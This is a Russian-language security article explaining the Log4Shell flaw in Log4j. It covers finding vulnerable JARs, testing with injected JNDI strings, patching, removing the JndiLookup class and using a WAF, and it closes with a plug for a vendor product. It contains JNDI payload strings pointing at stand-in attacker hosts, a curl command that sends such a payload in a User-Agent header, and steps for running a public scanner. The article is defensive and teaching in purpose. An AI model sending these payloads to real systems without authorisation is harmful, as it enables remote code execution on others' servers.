Уязвимость библиотеки Log4j известная как Log4Shell относится к классу удалённого выполнения кода RCE в приложениях на Java. Строка логируемых данных может содержать конструкцию ${jndi:ldap://attacker} и библиотека инициирует сетевое обращение через механизм JNDI что в ряде конфигураций позволяет выполнить код на стороне уязвимой JVM.
Природа уязвимости Log4j
Библиотека Log4j 2 поддерживает подстановки значений при форматировании сообщений. Одна из подстановок основана на механизме JNDI который позволяет получать значения из каталога LDAP или служб RMI. Если атакующий может управлять строкой которая пишется в лог например заголовком HTTP или параметром запроса он добавляет конструкцию вида ${jndi:ldap://hacker.example/a}. Уязвимая версия Log4j интерпретирует её как команду выполнить JNDI lookup и тем самым открывает внешний канал управления.
Базовой уязвимостью считается: CVE 2021-44228. В ходе анализа были выделены дополнительные варианты влияющие на разные режимы библиотеки среди них CVE 2021-45046 и CVE 2021-45105. Поэтому частичное отключение подстановок без обновления не закрывает все сценарии эксплуатации и требуется комплексный подход для обеспечения безопасности.
Поиск уязвимых компонентов на серверах
Первый шаг инвентаризация. Нужно найти все JAR архивы содержащие библиотеку Log4j. На типичном сервере Linux это можно сделать так:
find / -name "*log4j*.jar" 2>/dev/null
Для каждого файла полезно посмотреть состав классов:
jar tf log4j-core-2.14.1.jar | grep JndiLookup
Наличие класса JndiLookup в старых версиях является маркером потенциальной уязвимости. Для массовой проверки зависимостей удобно использовать инструменты анализа составных частей SCA например OWASP Dependency Check:
dependency-check.sh --project MyApp --scan /opt/myapp
Отчёт такого сканирования показывает, какие сервисы используют уязвимые версии библиотеки и помогает выстроить план исправления.
Тестирование на уязвимость
После инвентаризации стоит аккуратно проверить эксплуатацию. Базовый метод ручное отправление запросов с полезной нагрузкой JNDI в разные точки ввода данных. Например, через утилиту curl можно отправить заголовок User Agent на тестовый сервис:
curl https://target.example -H 'User-Agent: ${jndi:ldap://test-server/a}'
На стороне тестового LDAP или сервиса регистрации запросов отслеживаются обращения из приложений. Если сервер выполняет обращение значит путь от пользовательского ввода до библиотеки Log4j существует и потенциально уязвим.
Для автоматизированного сканирования используются специализированные программы. Пример утилиты log4j scan из репозитория на Git:
git clone https://github.com/fullhunt/log4j-scan.git
cd log4j-scan
python3 log4j-scan.py -u https://target.example
Сканер перебирает типовые точки ввода HTTP параметров и заголовков фиксируя случаи возможного использования JNDI. Запускать такие тесты следует только с разрешения владельца инфраструктуры.
Практика устранения уязвимости
Наиболее надёжный способ обновление до безопасной версии Log4j 2 17 x или более новой которая снимает опасные варианты обработки JNDI. В контейнеризованных средах обновление выполняется через пересборку образа с новым набором зависимостей для монолитных приложений требуется заменить JAR библиотеку в пути классов и перезапустить сервис.
Дополнительный шаг ручное удаление класса JndiLookup из уязвимого JAR когда немедленное обновление невозможно. Это делается командами:
zip -q -d log4j-core-2.14.1.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
После модификации требуется перезапустить приложение и повторно выполнить тесты на наличие обращений JNDI. Также рекомендуется отключить подстановки через свойство log4j2.formatMsgNoLookups=true в конфигурации запуска JVM.
С точки зрения сетевой безопасности важно ограничить исходящие подключения приложений с Log4j к внешним LDAP и другим каталоговым службам, а также отслеживать необычные запросы уровне систем мониторинга.
Даже при обновлении библиотек остаётся риск векторов связанных с логированием. Поэтому целесообразно добавить внешний слой защиты в виде веб экрана приложений WAF. Современные решения класса WAF умеют обнаруживать в HTTP трафике шаблоны вида ${jndi: и их вариации блокируя запрос до попадания в приложение.
Использование специализированного решения Check Risk WAF позволяет автоматически фильтровать попытки эксплуатации Log4Shell и схожих уязвимостей опираясь на правила уровня OWASP Top 10 и поведенческий анализ запросов. Регулярная настройка правил и анализ срабатываний Check Risk WAF в сочетании с актуальными версиями библиотек и периодическим сканированием зависимостей снижает риски связанные с уязвимостями Log4j.